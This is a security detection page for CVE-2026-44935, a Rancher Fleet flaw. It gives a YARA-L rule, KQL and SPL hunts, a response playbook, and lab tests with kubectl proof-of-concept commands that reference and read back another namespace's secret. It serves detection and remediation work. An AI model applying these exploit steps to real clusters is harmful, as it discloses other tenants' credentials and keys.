CVE-2026-44935 Google Chronicle · YARA-L

Detect Rancher Fleet Cross-Namespace Secret Disclosure via Unvalidated valuesFrom in Helm Deployer (CVE-2026-44935) in Google Chronicle

Detects exploitation of CVE-2026-44935, a critical (CVSS 9.9) vulnerability in Rancher Fleet's Helm Deployer where unvalidated `valuesFrom` references allow a low-privileged user with GitRepo/Bundle creation rights in one namespace to reference and exfiltrate Secret or ConfigMap contents from arbitrary other namespaces, including cluster-admin credentials, cloud provider keys, and Fleet agent tokens. Exploitation involves crafting a GitOps Bundle or GitRepo resource whose Helm `valuesFrom` fields point at a Secret/ConfigMap name in a namespace the attacker does not own; the Fleet controller resolves the reference without namespace/RBAC validation and renders the secret data into Helm values, which are then visible via `helm get values`, Bundle status, or logs. Affected versions: Fleet >= 0.15.0 < 0.15.2, >= 0.14.0 < 0.14.6, >= 0.13.0 < 0.13.11, >= 0.12.0 < 0.12.15. A public PoC/advisory is available; no changes to affected/patched version status have been reported since initial disclosure.

MITRE ATT&CK

Tactic
Privilege Escalation Credential Access Collection

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule fleet_cross_namespace_secret_disclosure {
  meta:
    author = "detection-platform"
    description = "Detects Rancher Fleet Bundle/GitRepo mutations referencing valuesFrom secretKeyRef in a different namespace, consistent with CVE-2026-44935"
    severity = "CRITICAL"
    cve = "CVE-2026-44935"

  events:
    $audit.metadata.event_type = "USER_RESOURCE_UPDATE_CONTENT"
    $audit.target.resource.resource_type = "BUNDLE" or $audit.target.resource.resource_type = "GITREPO"
    $audit.security_result.action = "ALLOW"
    $audit.metadata.product_event_type in ("create", "update", "patch")
    $audit.target.resource.attribute.labels["valuesFrom"] != ""
    $audit.target.resource.attribute.labels["valuesFromNamespace"] != $audit.target.resource.namespace

  condition:
    $audit
}
critical severity low confidence

Chronicle YARA-L rule flagging Fleet Bundle/GitRepo events where a Helm valuesFrom secretKeyRef namespace label diverges from the target resource namespace, indicating potential CVE-2026-44935 exploitation.

Data Sources

Kubernetes Audit LogsGCP Audit Logs (GKE)

Required Tables

audit

False Positives & Tuning

  • Legacy multi-namespace Helm value sharing configured before Fleet was patched
  • Normalization gaps where namespace labels are not populated for all resource types
  • Chronicle UDM parser mapping differences across Kubernetes distributions

Other platforms for CVE-2026-44935

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate Cross-Namespace GitRepo with valuesFrom Secret Reference

    Expected signal: Kubernetes audit log CREATE event for resource=gitrepos in namespace attacker-ns with requestObject containing valuesFrom.secretKeyRef.namespace=victim-ns; Fleet controller log entries showing resolution of the cross-namespace secret reference.

  2. Test 2Verify Rendered Helm Values Contain Foreign Namespace Secret Data

    Expected signal: BundleDeployment status/spec showing rendered Helm values containing the value 'SUPER-SECRET-VALUE' originating from victim-ns; Helm release history entry in attacker-ns.

  3. Test 3Attempt valuesFrom ConfigMap Cross-Namespace Reference (Patched Version Negative Test)

    Expected signal: On a patched Fleet version: Bundle status condition showing an authorization/validation error and no successful reconciliation; Fleet controller log entry denying the cross-namespace reference. On a vulnerable version: successful reconciliation identical to Test 1.

Last updated: 2026-07-31 Research depth: standard
References (2)

Response Playbook

Triage

  1. Identify all Bundle, GitRepo, and BundleDeployment resources cluster-wide with `kubectl get bundles,gitrepos -A -o yaml | grep -B5 valuesFrom` and flag any where the referenced Secret/ConfigMap namespace differs from the resource's own namespace.
  2. Determine the RBAC scope of the user/service account that created or modified the suspicious Bundle/GitRepo — confirm whether they hold legitimate access to the target namespace or only to their own tenant namespace.
  3. Inspect Fleet controller logs and Bundle status conditions (`kubectl describe bundle <name> -n <namespace>`) for evidence the valuesFrom resolution succeeded and rendered secret data into the Helm release values.
  4. Check `helm get values <release> -n <namespace>` and Fleet's rendered manifest ConfigMaps/Secrets for exposed data that originated from a different namespace, confirming actual data exfiltration versus a failed/blocked attempt.
  5. Cross-reference the timeline against the affected version matrix (Fleet 0.12.x < 0.12.15, 0.13.x < 0.13.11, 0.14.x < 0.14.6, 0.15.x < 0.15.2) to confirm the cluster's Fleet version was vulnerable at the time of the event.

Containment

  1. Immediately patch Rancher Fleet to a fixed version (>= 0.12.15, >= 0.13.11, >= 0.14.6, or >= 0.15.2) or apply the vendor-recommended admission control mitigation restricting valuesFrom cross-namespace references.
  2. Revoke or rotate any Secrets (cluster-admin kubeconfigs, cloud provider keys, Fleet agent tokens, registry credentials) confirmed or suspected to have been disclosed via the cross-namespace reference, and audit downstream systems that trusted those credentials.
  3. Restrict RBAC on GitRepo/Bundle create/update verbs to trusted platform-team service accounts only, removing broad self-service Bundle creation rights from tenant namespaces until the patch is applied.
  4. Quarantine (suspend reconciliation on) any Bundle or GitRepo identified as malicious by adding a `paused: true` spec field or deleting the resource, and isolate the offending namespace's ability to create new Bundles.

Evidence Collection

  1. Export the full YAML manifests of all implicated Bundle, GitRepo, and BundleDeployment resources, including their valuesFrom sections and full revision/generation history via `kubectl get bundle <name> -n <namespace> -o yaml --show-managed-fields`.
  2. Preserve Kubernetes audit logs covering the affected time window for the kube-apiserver, Fleet controller pod logs (`kubectl logs -n cattle-fleet-system deploy/fleet-controller`), and any Helm release history for the tainted release.
  3. Collect a list of all Secrets and ConfigMaps in the source namespace that were eligible to be referenced, and determine which specific keys were rendered into the exposed Helm values.
  4. Snapshot RBAC bindings (RoleBindings/ClusterRoleBindings) active at the time of the incident for the identity that created the malicious Bundle/GitRepo, to establish scope of authorized access.

Escalation Criteria

  • !Escalate to incident response and rotate cluster-wide credentials immediately if the disclosed secret includes a cluster-admin kubeconfig, cloud provider IAM key, or any credential granting write access outside the originating namespace.
  • !Escalate to a full multi-tenant security review if multiple tenant namespaces are found to have successfully exfiltrated secrets from other tenants, indicating systemic exploitation rather than an isolated test.
  • !Escalate if exfiltrated credentials show signs of subsequent use (e.g., API calls from unfamiliar source IPs, new resources created using the disclosed identity) outside the Kubernetes cluster.
  • !Escalate to legal/compliance if the disclosed Secrets contain regulated data (PII, PCI, credentials tied to customer environments) requiring breach notification.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Bundle/GitRepo/BundleDeployment YAML manifests and their valuesFrom specifications (spec.helm.valuesFrom)
  • >Kubernetes audit logs for create/update/patch verbs against bundles, gitrepos, bundledeployments resources
  • >Fleet controller pod logs in the cattle-fleet-system namespace
  • >Helm release secrets/history (`helm history`, `helm get values`) for releases managed by the affected Bundle
  • >RBAC Role/ClusterRole and RoleBinding/ClusterRoleBinding manifests for the identity that authored the malicious resource

Tuning Guidance

Baseline legitimate cross-namespace valuesFrom usage before enabling this in blocking/alerting mode — some organizations intentionally share a common 'fleet-values' or platform namespace across tenants pre-patch. Build an allowlist of approved namespace pairs (e.g., tenant-ns -> shared-config-ns) maintained by the platform team, and only alert on pairs outside that allowlist. After patching to a fixed Fleet version, tighten the rule to alert on ANY cross-namespace valuesFrom reference since the vendor fix enforces RBAC checks and legitimate cross-namespace references should require an explicit RBAC grant recorded separately. Reduce noise by excluding known CI/CD service accounts performing bulk Bundle reconciliation.

Hunting Queries

Broad hunt across all historical Fleet Bundle/GitRepo audit records for any Helm valuesFrom secretKeyRef whose namespace does not match the owning resource's namespace, to retroactively identify prior exploitation of CVE-2026-44935 before detection was deployed.

Hunting — KQL
kql 
AKSAuditLogs
| where ObjectRef_Resource in ("bundles","gitrepos")
| where RequestObject has "valuesFrom" and RequestObject has "secretKeyRef"
| extend refNs = extract(@'"namespace"\s*:\s*"([^"]+)"', 1, tostring(RequestObject))
| where isnotempty(refNs) and refNs != ObjectRef_Namespace
| summarize count() by User, ObjectRef_Namespace, refNs, bin(TimeGenerated, 1h)
Hunting — SPL
spl 
index=kubernetes sourcetype=kube:audit objectRef.resource IN ("bundles","gitrepos") requestObject="*valuesFrom*" requestObject="*secretKeyRef*"
| rex field=requestObject "\"namespace\":\"(?<refNs>[^\"]+)\""
| where refNs!=objectRef.namespace
| stats count by user.username, objectRef.namespace, refNs

Atomic Red Team Tests

Test 1 Simulate Cross-Namespace GitRepo with valuesFrom Secret Reference
linux

Creates a Fleet GitRepo resource in a low-privilege test namespace whose Helm valuesFrom references a Secret in a separate, higher-privilege namespace, simulating the core exploitation primitive of CVE-2026-44935 in a lab cluster.

Command

bash 
kubectl create namespace attacker-ns --dry-run=client -o yaml | kubectl apply -f -
kubectl create namespace victim-ns --dry-run=client -o yaml | kubectl apply -f -
kubectl -n victim-ns create secret generic sensitive-creds --from-literal=apiKey=SUPER-SECRET-VALUE
cat <<'EOF' | kubectl apply -f -
apiVersion: fleet.cattle.io/v1alpha1
kind: GitRepo
metadata:
  name: poc-cross-ns-repo
  namespace: attacker-ns
spec:
  repo: https://github.com/example/fleet-test-repo
  targets:
  - clusterSelector: {}
  helm:
    valuesFrom:
    - secretKeyRef:
        name: sensitive-creds
        namespace: victim-ns
        key: apiKey
EOF

Cleanup

bash 
kubectl delete gitrepo poc-cross-ns-repo -n attacker-ns --ignore-not-found
kubectl delete secret sensitive-creds -n victim-ns --ignore-not-found
kubectl delete namespace attacker-ns victim-ns --ignore-not-found

Expected Telemetry

Kubernetes audit log CREATE event for resource=gitrepos in namespace attacker-ns with requestObject containing valuesFrom.secretKeyRef.namespace=victim-ns; Fleet controller log entries showing resolution of the cross-namespace secret reference.

Expected Detection

KQL/SPL rules fire on the audit event due to ObjectRef_Namespace (attacker-ns) differing from the extracted valuesFrom namespace (victim-ns).

Test 2 Verify Rendered Helm Values Contain Foreign Namespace Secret Data
linux

After the malicious GitRepo/Bundle reconciles, inspects the resulting Helm release values to confirm the cross-namespace secret data was actually rendered and disclosed, validating successful exploitation for detection tuning.

Command

bash 
kubectl get bundledeployments -n attacker-ns
BUNDLE_ID=$(kubectl get bundledeployments -n attacker-ns -o jsonpath='{.items[0].metadata.name}')
kubectl get bundledeployment "$BUNDLE_ID" -n attacker-ns -o yaml | grep -A5 apiKey
helm get values poc-release -n attacker-ns --all 2>/dev/null || echo 'release not yet installed - check bundle status'

Cleanup

bash 
kubectl delete bundledeployment --all -n attacker-ns --ignore-not-found

Expected Telemetry

BundleDeployment status/spec showing rendered Helm values containing the value 'SUPER-SECRET-VALUE' originating from victim-ns; Helm release history entry in attacker-ns.

Expected Detection

Hunting query and EQL rule flag the BundleDeployment update event; SOAR enrichment step confirms secret content match against known victim-ns secret.

Test 3 Attempt valuesFrom ConfigMap Cross-Namespace Reference (Patched Version Negative Test)
linux

Runs the same cross-namespace valuesFrom technique using a ConfigMap instead of a Secret against a patched Fleet version to validate that the fix rejects the reference, used to confirm remediation effectiveness.

Command

bash 
kubectl -n victim-ns create configmap shared-config --from-literal=dbHost=internal-db.victim-ns.svc
cat <<'EOF' | kubectl apply -f -
apiVersion: fleet.cattle.io/v1alpha1
kind: Bundle
metadata:
  name: poc-cross-ns-bundle
  namespace: attacker-ns
spec:
  targets:
  - clusterSelector: {}
  helm:
    valuesFrom:
    - configMapKeyRef:
        name: shared-config
        namespace: victim-ns
        key: dbHost
EOF
kubectl describe bundle poc-cross-ns-bundle -n attacker-ns | grep -i -A3 status

Cleanup

bash 
kubectl delete bundle poc-cross-ns-bundle -n attacker-ns --ignore-not-found
kubectl delete configmap shared-config -n victim-ns --ignore-not-found

Expected Telemetry

On a patched Fleet version: Bundle status condition showing an authorization/validation error and no successful reconciliation; Fleet controller log entry denying the cross-namespace reference. On a vulnerable version: successful reconciliation identical to Test 1.

Expected Detection

Detection rule still fires on the audit CREATE event (attempt detection) regardless of patch status, distinguishing successful exploitation (Test 1/2) from blocked attempts via the Bundle status condition in the alert enrichment.

Related Detections

Tactic Hubs

TA0004Privilege EscalationTA0006Credential AccessTA0009Collection

Related Techniques

T1552.007Container APIT1078.004Cloud AccountsT1611Escape to Host

Same Tactic: Privilege Escalation

Popular Detections